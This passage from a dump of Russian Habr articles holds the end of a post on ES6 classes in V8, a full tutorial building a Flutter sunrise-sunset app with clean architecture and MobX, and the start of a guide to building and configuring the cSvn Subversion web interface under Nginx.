После того, как новый узел `ClassLiteral` [трансформируется в код](https://github.com/v8/v8/blob/be3a1df9008ee78d1101855d3044db54a203f515/src/interpreter/bytecode-generator.cc#L1818), он преобразуется в конструкции, состоящие из функций и прототипов.
Итоги
-----
Автор этого материала говорит, что в компании [SessionStack](https://www.sessionstack.com/) стремятся как можно полнее оптимизировать код своей библиотеки, так как ей приходится решать непростые задачи по сбору сведений обо всём, что происходит на веб-страницах. В ходе решения этих задач библиотека не должна замедлять работу анализируемой страницы. Оптимизация такого уровня требует учёта мельчайших деталей экосистемы JavaScript, влияющих на производительность, в частности, учёта особенностей того, как устроены классы и механизмы наследования в ES6.
**Уважаемые читатели!** Пользуетесь ли вы синтаксическими конструкциями ES6 для работы с классами в JavaScript?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/415377/ | null | ru | null |
# Flutter + чистая архитектура: разбираем на примере
На определённом этапе изучения новой технологии начинаешь задаваться вопросом - как правильно организовать архитектуру проекта? Мне в своё время повезло - попались опытные наставники, которые дали мудрые советы. Однако я считаю, что знания не должны лежать мёртвым грузом, поэтому пишу эту статью в помощь начинающим (и не только) flutter-разработчикам.
[Чистая архитектура](https://habr.com/ru/post/269589/) - это концепция построения архитектуры систем, предложенная Робертом Мартином (также известного как "дядюшка Боб"). Концепция предполагает построение приложения в виде набора независимых слоёв, что облегчает тестирование, уменьшает связность и делает приложение более простым для понимания.
[Flutter](https://flutter.dev/) - стремительно набирающий популярность фреймворк для разработки кроссплатформенных приложений. В списке поддерживаемых платформ - iOS, Android, web, в бете находится поддержка десктопа.
Под катом - рассказ о том, как построить flutter-приложение с использованием идей чистой архитектуры.
---
Конкретно с этой имплементацией я познакомился, когда пришёл работать в [Progressive Mobile](https://pmobi.tech/) (пользуясь случаем, хочу передать привет - ребят, вы крутые!). Она хорошо себя показала на множестве проектов, которые мы делали, при этом развивалась от проекта к проекту.
Обычно приложение состояло из четырёх слоев:
* `data` - слой работы с данными. На этом уровне, например, описываем работу с внешним API.
* `domain` - слой бизнес-логики.
* `internal` - слой приложения. На этом уровне происходит внедрение зависимостей.
* `presentation` - слой представления. На этом уровне описываем UI приложения.
Слой представления ничего не знает о том, откуда появляются данные, которые он использует, слой данных не знает, кто и как будет использовать данные, что он предоставляет. Это позволяет легко вносить изменения в проект - например, мы можем переехать с REST на GraphQL и не изменить ни строчки кода в слое представления.
Далее мы, слой за слоем, построим мобильное приложение на Flutter. Поскольку цель у нас образовательная, приложение будет достаточно простым - оно покажет нам продолжительность дня и время рассвета и захода солнца в указанной точке Земли.
Создание проекта
----------------
Я предполагаю, что у вас уже установлен Flutter, если нет - почитать о том, как это делается, можно в официальной [документации](https://flutter.dev/docs/get-started/install).
Создать проект можно с помощью инструментов вашей любимой IDE или из командной строки. В последнем случае вы должны выполнить в терминале команду:
```
flutter create myapp
```
В результате будет создан проект со стандартным примером приложения-счетчика. Давайте немного его изменим - удалим лишний код и подготовим необходимые директории.
Как уже говорилось выше, приложение будет состоять из 4 слоёв, поэтому создадим соответствующие папки. Заодно заметим, что код из стандартного примера содержит вёрстку экрана - то есть UI, а значит, место ему в слое представления.
Получилась следующая структура каталогов:
Содержание файлов main.dart, application.dart и home.dart можно посмотреть под спойлерами.
main.dart
```
import 'package:flutter/material.dart';
import 'internal/application.dart';
void main() {
runApp(Application());
}
```
application.dart
```
import 'package:flutter/material.dart';
import 'package:habr_flutter_clean_arch/presentation/home.dart';
class Application extends StatelessWidget {
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Flutter Demo',
theme: ThemeData(
primarySwatch: Colors.blue,
visualDensity: VisualDensity.adaptivePlatformDensity,
),
home: Home(),
);
}
}
```
home.dart
```
import 'package:flutter/material.dart';
class Home extends StatefulWidget {
@override
_HomeState createState() => _HomeState();
}
class _HomeState extends State {
@override
Widget build(BuildContext context) {
return Scaffold();
}
}
```
На данном этапе приложение должно успешно собираться, хотя и будет выглядеть как пустой белый экран. Пожалуй, настало время для первого коммита.
Готовим domain
--------------
Кровь любого приложения - это данные, что перетекают из одной его части в другую. Данные обычно представлены в виде набора моделей.
Эти данные мы получаем из каких-то источников - например, обращаясь к удаленному серверу с помощью запросов или загружая из локальной базы данных.
Для нашего приложения мы воспользуемся бесплатным сервисом [Sunrise Sunset](https://sunrise-sunset.org/api), который позволяет получить информацию о продолжительности дня и времени восхода/захода солнца в указанной точке.
Мы будем делать запросы к этому сервису и использовать из полученной информации следующие данные:
* время восхода
* время захода
* время, в которое наступает астрономический полдень
* продолжительность дня
Теперь мы можем создать нашу первую модель. Добавим в папку `domain` директорию `model`, в которой создадим файл с именем `day.dart`. Опишем в этом файле нашу модель:
```
import 'package:meta/meta.dart';
class Day {
final DateTime sunrise;
final DateTime sunset;
final DateTime solarNoon;
final int dayLength;
Day({
@required this.sunrise,
@required this.sunset,
@required this.solarNoon,
@required this.dayLength,
});
}
```
Здесь мы определили конструктор с именованными аргументами, а аннотация `@required` говорит нам о том, что все аргументы являются обязательными.
Некоторые добавляют в модели специальные методы а-ля `fromJson`, которые используют для преобразования сырых данных из мапы в модель, однако я считаю это в корне неверным.
Дело в том, что методы наподобие `fromJson` не имеют отношения к бизнес-логике, это всё часть слоя данных. Если описать его здесь, то наша модель превратится в кашу из обращений к мапе, что сильно усложнит понимание структуры модели, а использоваться всё равно будет только в момент получения данных. Поэтому мы вернёмся к этому вопросу, когда займемся слоем данных.
Итак, мы описали модель, теперь нужно поговорить об источнике данных.
В общем случае этих источников может быть довольно много, поэтому выделим для них свою собственную директорию - добавим в папке `domain` каталог `repository`. На уровне бизнес-логики мы описываем не сами эти источники, а лишь интерфейс взаимодействия с ними.
Создадим в этой директории файл `day_repository.dart` следующего содержания:
```
import 'package:meta/meta.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
abstract class DayRepository {
Future getDay({
@required double latitude,
@required double longitude,
});
}
```
Поскольку в языке Dart нет интерфейсов в явном виде, вместо них используют абстрактные классы. В данном случае, мы указали, что наследники этого репозитория должны реализовывать метод `getDay`, который вернёт объект [Future](https://api.dart.dev/stable/2.10.1/dart-async/Future-class.html), разрешающий нашу модель `Day`. Обязательные аргументы этого метода - широта и долгота интересующей нас точки.
На данный момент у нас должна получиться следующая структура каталогов:
Пожалуй, можно закоммитить изменения и переходить к слою данных.
Готовим data слой
-----------------
Помните я говорил о методе создания модели из сырого `json`? Настало время для его реализации.
На уровне слоя данных у нас будет реализована логика получения данных от бэкенда. Кроме того, здесь же будут описаны классы-наследники репозиториев из слоя бизнес-логики. Поэтому добавим в директорию `data` каталоги `api` и `repository`. Начнем работать с `api`.
Здесь мы опишем модель `ApiDay`, которая будет содержать метод `fromApi` - получение данных из `json`. На этом уровне у нас все модели будут начинаться с префикса `Api`, чтобы отличить их от моделей слоя бизнес-логики.
Зачем нужна отдельная модель `ApiDay`? С одной стороны, она может содержать методы манипуляции с сырыми данными - `fromApi`/`toApi`, что соответствует как раз уровню данных, а не бизнес-логики. Кроме того, полученные с бэкенда данные могут иметь довольно сложную структуру, не всегда удобную для нашего приложения и мы можем произвести необходимую подготовку на данном уровне. С другой стороны, благодаря такому разделению, мы получаем более прозрачную структуру - на уровне бизнес-логики нам не будут мешать бесполезные там методы `fromApi`/`toApi`, плюс, если бэкенд изменит формат присылаемых данных, нам будет достаточно поправить в одном месте нашу модель `ApiDay`, и на уровне бизнес-логики все будет работать без изменений.
Итак, давайте создадим в папке `api/model` файл `api_day.dart` следующего содержания:
api\_day.dart
```
class ApiDay {
final String sunrise;
final String sunset;
final String solarNoon;
final num dayLength;
ApiDay.fromApi(Map map)
: sunrise = map['results']['sunrise'],
sunset = map['results']['sunset'],
solarNoon = map['results']['solar\_noon'],
dayLength = map['results']['day\_length'];
}
```
В данном случае мы описали именованный конструктор, который из словаря, возвращаемого бэкендом, по нужным ключам присваивает значения полям модели.
Обратите внимание: в общем случае типы полей этой модели не совпадают с типами модели из domain слоя. Они имеют именно тот тип, который возвращает бэкенд. Для преобразования api-модели в обычную модель, создадим специальный класс-маппер, который будет сопоставлять поля двух моделей и выполнять преобразования при необходимости.
Добавим в директорию `data` папку `mapper`, в которой создадим файл `day_mapper.dart`,
day\_mapper.dart
```
import 'package:habr_flutter_clean_arch/data/api/api_day.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
class DayMapper {
static Day fromApi(ApiDay day) {
return Day(
sunrise: DateTime.tryParse(day.sunrise),
sunset: DateTime.tryParse(day.sunset),
solarNoon: DateTime.tryParse(day.solarNoon),
dayLength: day.dayLength.toInt(),
);
}
}
```
Класс `DayMapper` содержит статический метод, принимающий на входе объект `ApiDay` и превращающий его в модель бизнес-слоя `Day`. Этот метод потребуется нам на следующем шаге. А пока можно зафиксировать изменения в системе контроля версий.
#### Работаем с API
В общем случае вашему приложению могут потребоваться данные из разных источников. Например, какие-то данные вы будете получать с использованием REST, а какие-то - с использованием GraphQL. Чтобы сделать эту логику более прозрачной, работа с API у нас будет организована в виде двух слоёв.
На верхнем, более абстрактном, мы описываем интерфейс работы с API: набор методов, которые будут использоваться репозиториями для получения данных, и которые обращаются к нижележащему слою для фактического их получения. А заодно выполняет преобразование API-моделей в модели бизнес-логики.
На нижнем слое у нас будет набор классов, которые работают с конкретными сервисами, преобразуют данные слоя бизнес-логики в необходимый для запросов вид (например, json, FormData), выполняют фактические запросы, и обрабатывают полученные результаты. Поскольку этих классов может быть несколько, разумно выделить для них отдельный каталог.
У нас пока всего один сервис (напомню, мы используем [Sunrise Sunset](https://sunrise-sunset.org/api)), давайте создадим для него в `data/api/service` файл `sunrise_service.dart`.
В экосистеме Flutter существует несколько пакетов для работы с сетью, мне больше нравится [dio](https://pub.dev/packages/dio), но вы можете использовать любой другой.
Итак, давайте добавим в зависимости проекта этот пакет и вернёмся к нашему `sunrise_service.dart`.
sunrise\_service.dart
```
import 'package:dio/dio.dart';
import 'package:habr_flutter_clean_arch/data/api/model/api_day.dart';
import 'package:meta/meta.dart';
class SunriseService {
static const _BASE_URL = 'https://api.sunrise-sunset.org';
final Dio _dio = Dio(
BaseOptions(baseUrl: _BASE_URL),
);
Future getDay({
@required double latitude,
@required double longitude,
}) async {
final query = {'lat': latitude, 'lng': longitude, 'formatted': 0};
final response = await \_dio.get(
'/json',
queryParameters: query,
);
return ApiDay.fromApi(response.data);
}
}
```
Здесь мы создали объект dio и описали метод getDay, который с помощью этого объекта делает GET запрос к сервису и из полученных данных создает объект ApiDay.
В данном случае я оставил подготовку данных для запроса внутри метода getDay, что не очень хорошо: некоторым запросам требуется довольно много данных, некоторые из них потребуется предварительно преобразовать. Кроме того, этих запросов может быть большое количество, если оставить все так, то файл довольно быстро превратится в мешанину из словарей и методов.
Поэтому давайте вынесем подготовку данных для запроса в отдельный этап.
#### Готовим данные для запроса
Для этого в `data/api` создадим каталог `request`, в котором создадим файл `get_day_body.dart`, с таким содержанием:
get\_day\_body.dart
```
import 'package:meta/meta.dart';
class GetDayBody {
final double latitude;
final double longitude;
GetDayBody({
@required this.latitude,
@required this.longitude,
});
Map toApi() {
return {
'lat': latitude,
'lng': longitude,
'formatted': 0,
};
}
}
```
Все наши подобные классы будут называться по шаблону `<ИМЯ_МЕТОДА>Body` и реализовывать метод toAPi для приведения данных к нужному виду.
В данном случае я добавил поле `'formatted': 0`, потому что в этом случае сервис вернёт данные в формате [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) - фактически, это маленький костыль, который я добавил, чтобы быть уверенным, что данные всегда будут в нужном нам формате. Правильнее было бы передавать этот параметр явным образом.
Теперь мы можем изменить метод getDay в классе SunriseService:
sunrise\_service.dart
```
import 'package:dio/dio.dart';
import 'package:habr_flutter_clean_arch/data/api/model/api_day.dart';
import 'package:habr_flutter_clean_arch/data/api/request/get_day_body.dart';
class SunriseService {
static const _BASE_URL = 'https://api.sunrise-sunset.org';
final Dio _dio = Dio(
BaseOptions(baseUrl: _BASE_URL),
);
Future getDay(GetDayBody body) async {
final response = await \_dio.get(
'/json',
queryParameters: body.toApi(),
);
return ApiDay.fromApi(response.data);
}
}
```
Все методы в этом файле будут содержать в себе всего несколько строк, что облегчит их чтение, когда этих методов станет много.
Нижний слой API реализован, переходим к верхнему. Создадим в каталоге `data/api` файл `api_util.dart`:
api\_util.dart
```
import 'package:habr_flutter_clean_arch/data/api/request/get_day_body.dart';
import 'package:habr_flutter_clean_arch/data/mapper/day_mapper.dart';
import 'package:meta/meta.dart';
import 'package:habr_flutter_clean_arch/data/api/service/sunrise_service.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
class ApiUtil {
final SunriseService _sunriseService;
ApiUtil(this._sunriseService);
Future getDay({
@required double latitude,
@required double longitude,
}) async {
final body = GetDayBody(latitude: latitude, longitude: longitude);
final result = await \_sunriseService.getDay(body);
return DayMapper.fromApi(result);
}
}
```
На этом уровне мы преобразуем данные бизнес-слоя в необходимый сервису вид, выполняем фактический запрос и преобразуем полученные данные в вид, приемлемый для бизнес-слоя.
Фактически, класс ApiUtil служит единой точкой входа в мир API для всех репозиториев, самостоятельно решая, к какому сервису обращаться за данными. Если завтра нам потребуется получать координаты городов из другого сервиса, или погоду из третьего, мы будем решать это на уровнях ApiUtil-ApiServiсe, а для всех репозиториев это будет выглядеть как будто мы получаем все данные из одного источника. В этом и заключается преимущество такого подхода.
Итак, мы подготовили всё необходимое для работы с API, пора переходить к репозиториям.
#### Готовим репозитории
Ранее мы определили на уровне бизнес-логики интерфейс репозитория DayRepository, теперь мы можем описать его конкретную реализацию. Для этого в каталоге `data` создадим папку `repository` и добавим в неё файл `day_data_repository.dart` со следующим содержанием:
day\_data\_repository.dart
```
import 'package:habr_flutter_clean_arch/data/api/api_util.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
import 'package:habr_flutter_clean_arch/domain/repository/day_repository.dart';
class DayDataRepository extends DayRepository {
final ApiUtil _apiUtil;
DayDataRepository(this._apiUtil);
@override
Future getDay({double latitude, double longitude}) {
return \_apiUtil.getDay(latitude: latitude, longitude: longitude);
}
}
```
Как видим, всё, что нужно нашему репозиторию, чтобы реализовать абстрактные методы класса DayRepository - это объект ApiUtil, который вернёт необходимые данные.
На данном этапе у нас должна получиться такая структура файлов в директории `data`:
Можно зафиксировать изменения и переходить к следующему слою, на котором мы будем осуществлять внедрение зависимостей.
Внедряем зависимости
--------------------
Если взглянуть на наш код со стороны, то можно обратить внимание, что репозитории функционально зависят от ApiUtil, а тот, в свою очередь, от одного или нескольких ApiService (конкретно в нашем случае - от SunriseService). Начнем с ApiUtil.
В директорию `internal` добавим папку `dependencies`, в которой создадим файл `api_module.dart` со следующим содержанием:
api\_module.dart
```
import 'package:habr_flutter_clean_arch/data/api/api_util.dart';
import 'package:habr_flutter_clean_arch/data/api/service/sunrise_service.dart';
class ApiModule {
static ApiUtil _apiUtil;
static ApiUtil apiUtil() {
if (_apiUtil == null) {
_apiUtil = ApiUtil(SunriseService());
}
return _apiUtil;
}
}
```
Класс `ApiModule` содержит в себе статический метод `apiUtil`, который возвращает нам единственный экземпляр класса `ApiUtil` и создает его при необходимости. Используя этот модуль, мы можем поступить аналогичным образом и для репозиториев.
Добавим файл `repository_module.dart` и запишем в него следующий код:
repository\_module.dart
```
import 'package:habr_flutter_clean_arch/data/repository/day_data_repository.dart';
import 'package:habr_flutter_clean_arch/domain/repository/day_repository.dart';
import 'api_module.dart';
class RepositoryModule {
static DayRepository _dayRepository;
static DayRepository dayRepository() {
if (_dayRepository == null) {
_dayRepository = DayDataRepository(
ApiModule.apiUtil(),
);
}
return _dayRepository;
}
}
```
В классе `RepositoryModule` описываются статические методы, которые для каждого абстрактного репозитория из `domain/repository` создают объекты-наследники, реализующие методы этих репозиториев.
Если в каком-то месте нам потребуется репозиторий, то мы не будем создавать его сами, а обратимся за этим к `RepositoryModule`, который, по сути, является единственной точкой входа в каждый из репозиториев. В чем преимущество такого подхода? Если завтра нам потребуется использовать другую реализацию интерфейса репозитория, то будет достаточно изменить файл `repository_module.dart`, других изменений не потребуется.
Прежде чем мы начнём использовать репозиторий для получения информации о продолжительности дня в указанной точке, давайте зафиксируем изменения и подготовим простой UI нашего приложения.
Слой представления
------------------
У нас уже есть заготовка для экрана Home в папке `presentation`, давайте внесём в неё изменения.
Интерфейс будет очень простым: два поля ввода (для широты и долготы интересующей точки), кнопка для активации запроса и несколько строк текста для отображения результатов. Бедно, но мы ведь здесь не за этим собрались, верно? Никаких проверок валидности введённых данных тоже не будет, чтобы не усложнять код.
После внесения изменений, код экрана стал выглядеть следующим образом:
home.dart
```
import 'package:flutter/material.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
class Home extends StatefulWidget {
@override
_HomeState createState() => _HomeState();
}
class _HomeState extends State {
final \_latController = TextEditingController();
final \_lngController = TextEditingController();
Day \_day;
@override
Widget build(BuildContext context) {
return GestureDetector(
onTap: FocusScope.of(context).unfocus,
child: Scaffold(
body: \_getBody(),
),
);
}
Widget \_getBody() {
return SafeArea(
child: Padding(
padding: EdgeInsets.all(10),
child: Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
\_getRowInput(),
SizedBox(height: 20),
RaisedButton(
child: Text('Получить'),
onPressed: \_getDay,
),
SizedBox(height: 20),
if (\_day != null) \_getDayInfo(\_day),
],
),
),
);
}
Widget \_getRowInput() {
return Row(
children: [
Expanded(
child: TextField(
controller: \_latController,
keyboardType: TextInputType.numberWithOptions(decimal: true, signed: true),
decoration: InputDecoration(hintText: 'Широта'),
),
),
SizedBox(width: 20),
Expanded(
child: TextField(
controller: \_lngController,
keyboardType: TextInputType.numberWithOptions(decimal: true, signed: true),
decoration: InputDecoration(hintText: 'Долгота'),
),
),
],
);
}
Widget \_getDayInfo(Day day) {
return Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
Text('Восход: ${day.sunrise.toLocal()}'),
Text('Заход: ${day.sunset.toLocal()}'),
Text('Полдень: ${day.solarNoon.toLocal()}'),
Text('Продолжительность: ${Duration(seconds: day.dayLength)}'),
],
);
}
void \_getDay() {
// здесь получаем данные
}
}
```
Обратите внимание на метод `_getDay`: уже сейчас мы могли бы создать там объект репозитория и получить с его помощью необходимые данные. Однако делать так не стоит: в этом случае экран, находящийся на слое представления, будет явным образом зависеть от объекта из слоя данных.
Если немного подумать, то станет ясно, что реакция на факт нажатия пользователем кнопки должна находиться в ведомстве слоя бизнес-логики. Именно он должен решать, к каким репозиториям обращаться за данными и говорить слою представления, что именно он должен рисовать на экране.
И тут нам приходят на помощь различные инструменты для управления состоянием приложения - такие как Redux, BLoC, MobX. Они могут довольно сильно отличаться в деталях, но идеологически суть их весьма близка: вы генерируете некое событие (например, нажатием кнопки), это событие инициирует изменение состояния (например, получив с бэкенда данные и поместив их хранилище), а изменение состояния приводит к изменению интерфейса.
Обычно для этих целей я использую [BLoC](https://bloclibrary.dev/), но сегодня хочу попробовать [MobX](https://github.com/mobxjs/mobx.dart) - просто потому что никогда раньше его не использовал. Должна же быть польза и для меня от всей этой затеи!
> Disclaimer: я не явлюсь специалистом по MobX, поэтому относитесь к моей реализации этого паттерна критически. Дайте знать, если я допустил ошибки.
>
> Однако в рамках данной статьи это несущественно - вы можете заменить MobX на любой другой менеджер состояния, в глобальном смысле ничего не изменится.
>
>
Управление состоянием с помощью MobX
------------------------------------
Итак, для начала нам потребуется добавить необходимые зависимости в наш проект:
```
dependencies:
...
mobx: ^1.2.1+3
flutter_mobx: ^1.1.0+2
```
Также добавим в `dev_dependencies` зависимости для генерации файлов, добавляющих возможность использовать аннотации `@observable`, `@computed`, `@action`:
```
dev_dependencies:
...
mobx_codegen: ^1.1.1+1
build_runner: ^1.10.0
```
Управление состоянием относится к слою бизнес-логики, поэтому давайте добавим в директорию `domain` папку `state`. В этом каталоге у нас будут классы, описывающие состояние экранов (а возможно - и других компонентов). Кажется разумным выделить для каждого из них свой подкаталог. В нашем примере экран всего один, поэтому давайте добавим подкаталог `home`.
Создадим в нём файл `home_state.dart` с таким содержанием:
home\_state.dart
```
import 'package:mobx/mobx.dart';
import 'package:meta/meta.dart';
import 'package:habr_flutter_clean_arch/domain/repository/day_repository.dart';
import 'package:habr_flutter_clean_arch/domain/model/day.dart';
part 'home_state.g.dart';
class HomeState = HomeStateBase with _$HomeState;
abstract class HomeStateBase with Store {
HomeStateBase(this._dayRepository);
final DayRepository _dayRepository;
@observable
Day day;
@observable
bool isLoading = false;
@action
Future getDay({
@required double latitude,
@required double longitude,
}) async {
isLoading = true;
final data = await \_dayRepository.getDay(latitude: latitude, longitude: longitude);
day = data;
isLoading = false;
}
}
```
В целом он соответствует шаблону из примера по [MobX](https://pub.dev/packages/mobx), обсудим некоторые детали.
Поле `day` помечено аннотацией `@observable`, изменение значения этого поля будет отслеживаться на уровне представления и при необходимости перерисовывать экран.
Аналогичной аннотацией помечена и переменная `isLoading` - её мы будем использовать для определения момента, когда выполняется асинхронная операция и необходимо показать лоадер.
Также имеется метод, помеченный аннотацией `@action`, то есть то самое событие, инициирующее изменение состояния. В данном случае, мы будем вызывать его для того, чтобы получить данные из репозитория.
Теперь необходимо сгенерировать файл `home_state.g.dart`, для этого выполните команду:
```
flutter packages pub run build_runner build
```
У меня поначалу всё пошло не очень гладко: скрипт уходил в бесконечный цикл и наотрез отказывался генерировать необходимый файл. В одном из [issue](https://github.com/mobxjs/mobx.dart/issues/377#issuecomment-679175320) к mobx порекомендовали выполнить в этом случае команды
```
flutter clean
flutter pub get
flutter packages upgrade
```
Мне это помогло, после их выполнения предыдущий скрипт завершился успехом.
Итак, у нас есть класс `HomeState`, управляющий состоянием экрана `Home`, но ему требуется `DayRepository` репозиторий. А значит пора снова вернуться к слою внедрения зависимостей.
Добавим в директорию `internal/dependencies` файл `home_module.dart` со следующим содержанием:
home\_module.dart
```
import 'package:habr_flutter_clean_arch/domain/state/home/home_state.dart';
import 'package:habr_flutter_clean_arch/internal/dependencies/repository_module.dart';
class HomeModule {
static HomeState homeState() {
return HomeState(
RepositoryModule.dayRepository(),
);
}
}
```
Теперь всё необходимое у нас есть, и мы можем наконец-то организовать грамотное управление состоянием экрана `Home`.
Внесём изменения в файл `presentation/home.dart`:
home.dart
```
import 'package:flutter/material.dart';
import 'package:flutter_mobx/flutter_mobx.dart';
import 'package:habr_flutter_clean_arch/domain/state/home/home_state.dart';
import 'package:habr_flutter_clean_arch/internal/dependencies/home_module.dart';
class Home extends StatefulWidget {
@override
_HomeState createState() => _HomeState();
}
class _HomeState extends State {
final \_latController = TextEditingController();
final \_lngController = TextEditingController();
HomeState \_homeState;
@override
void initState() {
super.initState();
\_homeState = HomeModule.homeState();
}
@override
Widget build(BuildContext context) {
return GestureDetector(
onTap: FocusScope.of(context).unfocus,
child: Scaffold(
body: \_getBody(),
),
);
}
Widget \_getBody() {
return SafeArea(
child: Padding(
padding: EdgeInsets.all(10),
child: Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
\_getRowInput(),
SizedBox(height: 20),
RaisedButton(
child: Text('Получить'),
onPressed: \_getDay,
),
SizedBox(height: 20),
\_getDayInfo(),
],
),
),
);
}
Widget \_getRowInput() {
return Row(
children: [
Expanded(
child: TextField(
controller: \_latController,
keyboardType: TextInputType.numberWithOptions(decimal: true, signed: true),
decoration: InputDecoration(hintText: 'Широта'),
),
),
SizedBox(width: 20),
Expanded(
child: TextField(
controller: \_lngController,
keyboardType: TextInputType.numberWithOptions(decimal: true, signed: true),
decoration: InputDecoration(hintText: 'Долгота'),
),
),
],
);
}
Widget \_getDayInfo() {
return Observer(
builder: (\_) {
if (\_homeState.isLoading)
return Center(
child: CircularProgressIndicator(),
);
if (\_homeState.day == null) return Container();
return Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
Text('Восход: ${\_homeState.day.sunrise.toLocal()}'),
Text('Заход: ${\_homeState.day.sunset.toLocal()}'),
Text('Полдень: ${\_homeState.day.solarNoon.toLocal()}'),
Text('Продолжительность: ${Duration(seconds: \_homeState.day.dayLength)}'),
],
);
},
);
}
void \_getDay() {
// здесь получаем данные
final lat = double.tryParse(\_latController.text);
final lng = double.tryParse(\_lngController.text);
\_homeState.getDay(latitude: lat, longitude: lng);
}
}
```
Здесь мы создаём объект класса `HomeState` с помощью `HomeModule`. Нажатие на кнопку инициирует событие `getDay`, а с помощью виджета `Observer` приложение отслеживает изменение состояния и перерисовывает экран.
Результат работы приложения представлен ниже.
Итак, мы разработали проект, который следует идеям чистой архитектуры. Такой проект имеет прозрачную структуру слоёв, что уменьшает когнитивную нагрузку и облегчает включение новых участников в проект.
Такой проект легче модифицировать - например, переезд с REST на GraphQL пройдёт безболезненно для слоёв бизнес-логики и представления. Вы также легко можете использовать их совместно или добавлять дополнительные сервисы. Можно вносить изменения в слой представления - например, подготовить разный дизайн UI для разных платформ и использовать единую бизнес-логику и данные.
Независимость слоёв также облегчает тестирование приложения.
Наконец, вы всегда можете заменить условный MobX на BLoC, Redux или что там вам по вкусу, и использовать эту архитектуру на полную катушку.
Исходный код проекта доступен на [Github](https://github.com/san-smith/habr_flutter_clean_arch). | https://habr.com/ru/post/522640/ | null | ru | null |
# Современный Web-UI для SVN в 2020 году
**cSvn** — это web-интерфейс к **Subversion**-репозиториям. Основу **cSvn** представляет CGI-скрипт написанный на языке **С**.
В мае 2020 года был опубликован релиз очередной версии [Apache Subversion 1.14.0](https://subversion.apache.org/). В свете этого события, был создан новый, современный web-интерфейс для просмотра **Subversion**-репозиториев на любых устройствах. Это весьма позитивная новость для тех, кто использует централизованные системы версионного контроля по тому, что до вчерашнего дня существовал лишь один достойный web-UI ([WebSVN](https://github.com/websvnphp/websvn)), написанный на PHP и, к сожалению, отстающий от современных требований.
В данной статье рассматривается установка и настройка **cSvn** для работы с использованием [**Nginx**](https://nginx.org/en/) + [**uWsgi**](https://uwsgi-docs.readthedocs.io/en/latest/). Настройка серверных компонентов достаточно проста и практически не отличается от настройки [**cGit**](https://wiki.archlinux.org/index.php/Cgit).
На стороне клиента работает элементарный *JavaScript* составляющий не более 350 строк и таблица стилей размером 24K в распакованном виде. **Markdown**-тексты обрабатываются на стороне сервера с помощью библиотеки [md4c](https://github.com/mity/md4c), которая успешно зарекомендовала себя в проекте **KDE Plasma**.
Вместо screenshot-ов, лучше посмотреть на работающий [**cSvn**-сервер](https://csvn.radix.pro/).
Стоит заметить, что с помощью **cSvn** можно просматривать не только собственные репозитории, но и настроить просмотр сторонних ресурсов по протоколам HTTPS и SVN.
Требования к системе
--------------------
**cSvn** использует библиотеки [libpcre2](https://www.pcre.org/), [md4c](https://github.com/mity/md4c/), libmagic, входящую в состав пакета [File](http://darwinsys.com/file/) и [libxml2](http://www.xmlsoft.org/). На сервере должны быть установлены: HTTP-сервер [Nginx](https://nginx.org/en/), сервер [uWsgi](https://uwsgi-docs.readthedocs.io/en/latest/) и, разумеется [Apache Subversion](https://subversion.apache.org/).
Инсталляция продуктов
---------------------
**cSvn** пакет состоит из двух частей. Первая представляет собой обычный Linux демон, который отвечает за разбор конфигурационного файла */etc/csvnrc*. Вторая – непосредственно является CGI-скриптом, отвечающим на HTTP-запросы клиента. Обе части устанавливаются одновременно.
### Исходные тексты
Получить исходный пакет **cSvn** можно двумя способами: загрузить с [FTP-сервера](https://ftp.radix.pro/pub/csvn/) или с помощью Subversion:
```
svn checkout svn://radix.pro/csvn/trunk csvn
```
Если использован второй способ, то перед сборкой пакета необходимо приготовить исходные тексты для их последующего конфигурирования. Для этого нужно воспользоваться скриптом ***bootstrap***:
```
cd csvn
./bootstarp
```
который установит ***Autotools*** средства, соберет коллекцию *aclocal.m4* и создаст ***configure*** скрипт.
### Сборка пакета
Сборка и установка **cSvn** ни чем не отличается от любых других продуктов, использующих средства ***Autoconf***, ***Automake***:
```
./configure --prefix=/usr \
--sysconfdir=/etc \
--with-config=/etc/csvnrc \
--with-controldir=/etc/rc.d \
--with-logrotatedir=/etc/logrotate.d \
--with-scriptdir=/var/www/htdocs/csvn \
--with-homedir=/var/lib/csvn \
--with-logdir=/var/log \
--with-piddir=/var/run
make
make install
```
Здесь, параметр *--with-scriptdir* определяет место установки CGI-скрипта и связанных с ним файлов, необходимых для работы сервера **cSvn**. Далее, в описании настроек сервера **Nginx**, мы будем использовать именно этот каталог. Разумеется, пользователи могут настроить работу **cSvn** и виртуального HTTP сервера относительно любого другоро каталога.
### Права доступа
После инсталляции пакета **cSvn** необходимо отдать права на каталог */var/www/htdocs/csvn* пользователю, от имени которого работает **Nginx**:
```
chown -R nginx:nginx /var/www/htdocs/csvn
```
Subversion репозитории
----------------------
Перед первым запуском сервера **cSvn** необходимо создать конфигурационный файл */etc/csvnrc*, в котором должны быть определены все обязательные переменные и описан хотя бы один репозиторий.
На странице руководства [csvnrc(5)](https://csvn.radix.pro/csvn/trunk/doc/csvnrc.5.md) приведен рабочий файл конфигурации сервера:
**/etc/csvnrc:**
```
svn-utc-offset = +0300;
checkout-prefix-readonly = 'svn://radix.pro';
checkout-prefix = 'svn+ssh://svn@radix.pro';
branches = 'branches';
trunk = 'trunk';
tags = 'tags';
snapshots = 'tar.xz';
css = '/.csvn/css/csvn.css';
logo = '/.csvn/pixmaps/csvn-banner-280x280.png';
logo-alt = "Radix.pro";
logo-link = "https://radix.pro";
main-menu-logo = '/.csvn/pixmaps/logo/SVN-logo-white-744x744.svg';
favicon-path = '/.csvn/pixmaps/favicon';
syntax-highlight-css = '_csvn.css';
header = '/.csvn/html/header.html';
footer = '/.csvn/html/footer.html';
page-size = 200;
owner = "Andrey V.Kosteltsev";
author = "Andrey V.Kosteltsev";
title = "Radix.pro SVN Repositories";
description = "Subversion repositories hosted at radix.pro (St.-Petersburg)";
keywords = "cSvn repositories";
